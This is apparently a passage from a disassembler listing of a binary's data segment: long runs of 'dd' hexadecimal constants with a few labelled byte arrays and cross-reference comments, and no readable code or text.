		dd 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h
		dd 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah
		dd 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h
		dd 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h
		dd 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h
		dd 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h
		dd 32805D55h, 0BC035Ah,	5E6D9FD4h, 83D7E1D3h, 28AFEA00h
		dd 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h
		dd 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h
		dd 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h
		dd 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h
		dd 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h
		dd 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch,	89ABD00h
		dd 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh
		dd 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h,	0AD427BD8h
		dd 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh,	0FFA48326h
		dd 0C8DFC900h, 680A11h,	0AC3EBDF0h, 0D6991401h,	1749FA00h
		dd 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h
		dd 1F60139h, 88F4328Fh,	5A60F563h, 8721267Ch, 0DC20006Eh
		dd 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h
		dd 78803974h, 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh
		dd 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh,	553A16h
		dd 0FAED75F5h, 615097E0h
		dd 0C30045Ch, 5A0689D8h, 2890005Fh, 0B56D7E9h, 42B85BC5h
		dd 0DE1C5525h, 0BD340310h, 0B4EAB309h, 0F87877C1h, 0EC00FCF9h
		dd 0C2B2FFCEh, 0B8901548h, 69F70059h, 1680827h,	2F000BD4h
		dd 41EDCE80h, 152420h, 74664C94h, 1FFD389h, 840F3A00h
		dd 113FA9F4h, 0BFDE0096h, 0CA02A0CCh, 30005308h, 0A30D1C64h
		dd 9105CA5h, 0F34E8218h, 7DBA5080h, 2409D965h, 8B14285Eh
		dd 126D00CFh, 3A551D89h, 0E0835AEDh, 0E9A878F5h, 6952A4F0h
		dd 85C79900h, 77E80810h, 0F2C403AEh, 0F42133DEh, 527D23D0h
		dd 0E2399902h, 405A353Ch, 91A92C9h, 366E194Fh, 16C0D08Fh
		dd 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h
		dd 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh
		dd 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h,	84341F1Ch
		dd 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h,	0F7031B31h
		dd 24A0E742h, 150A0E8h,	0A798009Dh, 3EBF7DD8h, 0F53F97B4h
		dd 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch, 0DF7C514Ch
		dd 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h
		dd 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h
		dd 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh,	81F2DD18h
		dd 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh
		dd 5539D9h, 0A4CFAAACh,	0B6AB362Ah, 4ED25005h, 7BC04B56h
		dd 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h
		dd 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h
		dd 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh
		dd 54150027h, 0C7642994h, 5B0033A7h, 1E759546h,	15A9Bh
		dd 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh,	0FA5E004Ah
		dd 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h
		dd 1FB9BF0h, 2B887700h,	317B53BBh, 7557D6Eh, 0F96AB121h
		dd 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h,	0C001FEC8h
		dd 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h
		dd 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h
		dd 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h, 157A25h
		dd 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h
		dd 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh,	44CFCCh
		dd 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h
		dd 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h, 37120143h
		dd 3570A985h, 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h
		dd 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h
		dd 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h,	0A6F0997h
		dd 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h,	6EC81D33h
		dd 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h, 63C27A12h
		dd 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh
		dd 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh
		dd 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh
		dd 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh,	94FBA538h
		dd 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h
		dd 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch
		dd 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah
		dd 0C076FA2Dh, 50C065h,	2143BE8h, 0D344E7B1h, 0DC199C00h
		dd 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h
		dd 33705700h, 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h
		dd 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h,	4200D621h
		dd 0D0396147h, 675B0Ah,	689FC274h, 282D35D2h, 88595D16h
		dd 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h
		dd 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh
		dd 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh
		dd 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h
		dd 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h
		dd 58001A10h, 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh
		dd 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah
		dd 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h,	41003BEBh
		dd 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h,	6C243B33h
		dd 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h,	378040A3h
		dd 3DAB0813h, 6F07100h,	0C65C035Dh, 51EB002Fh, 0D9981B7Fh
		dd 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h
		dd 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h
		dd 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh
		dd 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h
		dd 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h
		dd 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h
		dd 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh
		dd 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah
		dd 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h
		dd 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h
		dd 972D00E1h, 70895130h, 94900853h, 5C81B800h, 0EA18212Bh
		dd 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h,	9685502h
		dd 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh,	0E91EF8C0h
		dd 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h,	0B82386D6h
		dd 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h
		dd 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh,	0B77DAFF4h
		dd 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h
		dd 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh,	80B81E20h
		dd 85E2E576h, 22B0D00h,	0FFFEC63Dh, 0FD250016h,	0AEB617B4h
		dd 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h
		dd 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h,	3B9607AEh
		dd 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah
		dd 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h
		dd 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h
		dd 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h,	0BA3B009h
		dd 6167DD1h, 404B5A07h,	0C9250C15h, 3910171Eh, 0B56CE140h
		dd 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h
		dd 2CE3124Eh, 0E1C399h,	2FE81504h, 3B72DFEEh, 1B29DB1Ch
		dd 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch
		dd 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh
		dd 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h,	0A1003805h
		dd 0C926486Ch, 2D60E4h,	68301E40h, 8528A0FFh, 0A8B20100h
		dd 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h,	54886D45h
		dd 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh
		dd 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h,	0E78253E3h
		dd 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh,	0ACB3C7CBh
		dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h
		dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h
		dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh
		dd 900480B6h, 5AC02D89h
		dd 98ECCEF6h, 586179F5h, 2008DBDh, 898F0C6Dh, 0FC002938h
		dd 4F63CE5Eh, 0A32630h,	0C273A517h, 25228A6Bh, 0F90068EAh
		dd 0CCEAD723h, 6AFDE6h,	8AE7C928h, 0A581CE09h, 2CE6DA79h
		dd 87170501h, 350304CCh, 0C037C03Bh, 3800E87Fh,	0C7014EBDh
		dd 3F7794h, 0AC9E6C7Bh,	97E548AEh, 68335500h, 720AF2C1h
		dd 0D4C40BC8h, 80D753E7h, 711F1C24h, 766C0012h,	4BBC324Fh
		dd 0A50014D1h, 0C8D8D707h, 6457EAh, 1328F7E4h, 8FCA2443h
		dd 763D2673h, 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h
		dd 0DEFC5B9Ah, 250066F0h, 1904532Dh, 451586h, 96BAB30Eh
		dd 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch,	17883CE5h
		dd 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h
		dd 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch,	0CF584A1Ah
		dd 52F080A7h, 0C6F87Bh,	0D1940584h, 4A0F7D44h, 0A30FDBB8h
		dd 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h, 0D1CE3C5h
		dd 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h, 12E0ABBDh
		dd 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh
		dd 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h
		dd 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h
		dd 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh,	7FC1486h
		dd 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h
		dd 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h
		dd 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h,	95FFE843h
		dd 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh
		dd 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah
		dd 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh,	3CF5F84Ah
		dd 0F513E5h, 1930F2E8h,	488A3C53h, 6A0012FAh, 0AE16D41Ch
		dd 0D641F8h, 172DF2BCh,	0F7143A03h, 6F88C401h, 10086977h
		dd 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h
		dd 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h
		dd 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h
		dd 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h
		dd 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h
		dd 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah,	7BD31080h
		dd 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h,	8305F898h
		dd 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h
		dd 13A2A39Eh, 0B1DC96h,	98957FD2h, 0C80238D4h, 30B4D26Ch
		dd 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h
		db 85h
byte_504341	db 9Dh,	0F4h, 1		; DATA XREF: seg001:off_43AD54o
		dd 0EB0BE4EAh, 0D0A1154Eh
		db 3Bh,	0DAh, 0
byte_50434F	db 0F6h			; DATA XREF: seg001:off_43AD50o
		dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h
		dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h
		dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh,	89F8210Dh
		dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch
		dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch
		dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h,	0F2A5299Fh
		dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h
		dd 5F60FF01h, 70E0609h,	3E4287D8h, 25010215h, 911F6850h
		dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h
		dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h,	15A5B340h
		dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh
		dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h,	0E5197515h
		dd 0F38009D4h, 170880h,	2EAF2695h, 4CA7101Ch, 0EC3C2207h
		dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h
		dd 6BE6AEBCh, 29E00DBh,	0A02174C7h, 0B70B0F1Ah,	80A41840h
		dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h,	34502CBEh
		dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h
		dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h
		dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh
		dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h
		dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h
		dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h
		dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h
		dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h
		dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h,	24E57593h
		dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h,	3F529B00h
		dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h,	0EA73AE00h
		dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh
		dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh
		dd 81D817h, 0B6B2ACF4h,	2B334DCCh, 54B31D06h, 3BC51E0Ch
		dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h,	4930900Ah
		dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h
		dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh
		dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h,	0C0DE2090h
		dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h
		dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh
		dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h
		dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h,	0CE70DD5Ah
		dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h
		dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh
		dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h
		dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h,	0A09F13C3h
		dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch
		dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h,	5EA5008Ah
		dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h
		dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h
		dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h
		dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh
		dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh
		dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h,	21718A23h
		dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h
		dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch,	0A8DBC816h
		dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h
		dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h,	744C8EEh
		dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh,	0BE644AC2h
		dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h
		dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h
		dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h
		dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h,	0E0221E75h
		dd 7542320h, 8A53C379h,	70818027h, 9300B57Ah, 9A61F265h
		dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh
		dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h
		dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h
		dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h
		dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh
		dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h,	0E09FBE70h
		dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h,	89040300h
		dd 18251505h, 310E214h,	84820636h, 0A9309E2h, 0CB30BA3h
		dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh
		dd 5780882Eh, 44A3900h,	53063572h, 0A09DF8BEh, 188A00B8h
		dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh
		dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h,	783B6014h
		dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h,	790101A4h
		dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah
		dd 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h
		dd 29000525h, 2402D6F8h, 0C82D66h, 505553B4h, 22579856h
		dd 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h
		dd 3E00E92Fh, 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h
		dd 4CFC831Ch, 40430800h, 6089C53Bh, 0B9EBE819h,	0D006117h
		dd 0F7282474h, 7440698h, 62336815h, 0C71CD0FFh,	17CC849h
		dd 890080ECh, 656A8D18h, 0E0142708h, 2C340696h,	0D403E0D3h
		dd 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh,	0A870EC7Eh
		dd 33C5D00h, 10F983C3h,	27DB0h,	6C24C040h, 758B4D7Ch, 6DC9A41Fh
		dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
		dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h,	0BB661007h
		dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
		dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
		dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h,	26985B98h
		dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh,	26807EB4h
		dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
		dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h,	0FAC89741h
		dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
		dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
		dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh,	7334F900h
		dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h,	5CA65AC0h
		dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
		dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
		dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
		dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h,	896F00FAh
		dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
		dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
		dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
		dd 3E3DAh
		dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h,	0E8001FD1h
		dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h,	13900085h
		dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh
		dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h,	0E3AD2C03h
		dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h
		dd 527E5411h, 5295800h,	0C4860CDh, 0FAA6005Ch, 0E8AACA81h
		dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h
		dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh
		dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h
		dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h
		dd 2C35943h, 6D316C62h,	8840098Dh, 15017310h, 5203EDF3h
		dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h,	28007560h
		dd 59A66A7Fh, 0C08318h,	4E7EF203h, 0F5FE8111h, 48C07DE0h
		dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h
		dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h
		dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h
		dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh
		dd 7C0C222Fh, 311718Ch,	3546D251h, 0BE02BC0h, 640083C6h
		dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h
		dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h
		dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h
		dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh
		dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h
		dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h
		dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h
		dd 971129Ch, 8D0600C1h,	0A3422E31h, 6500700h, 21BF145Eh
		dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h
		dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h
		dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h
		dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh
		dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h,	868A2411h
		dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h
		dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h
		dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh,	314A2789h
		dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h
		dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh
		dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h,	0A86C9A14h
		dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h
		dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh
		dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h
		dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h
		dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h,	8A3C40D1h
		dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h
		dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h
		dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h,	0AB00E428h
		dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h,	441007C4h
		dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh,	0D190C3h
		dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h
		dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh
		dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h,	5FD73B11h
		dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h
		dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h
		dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh
		dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h
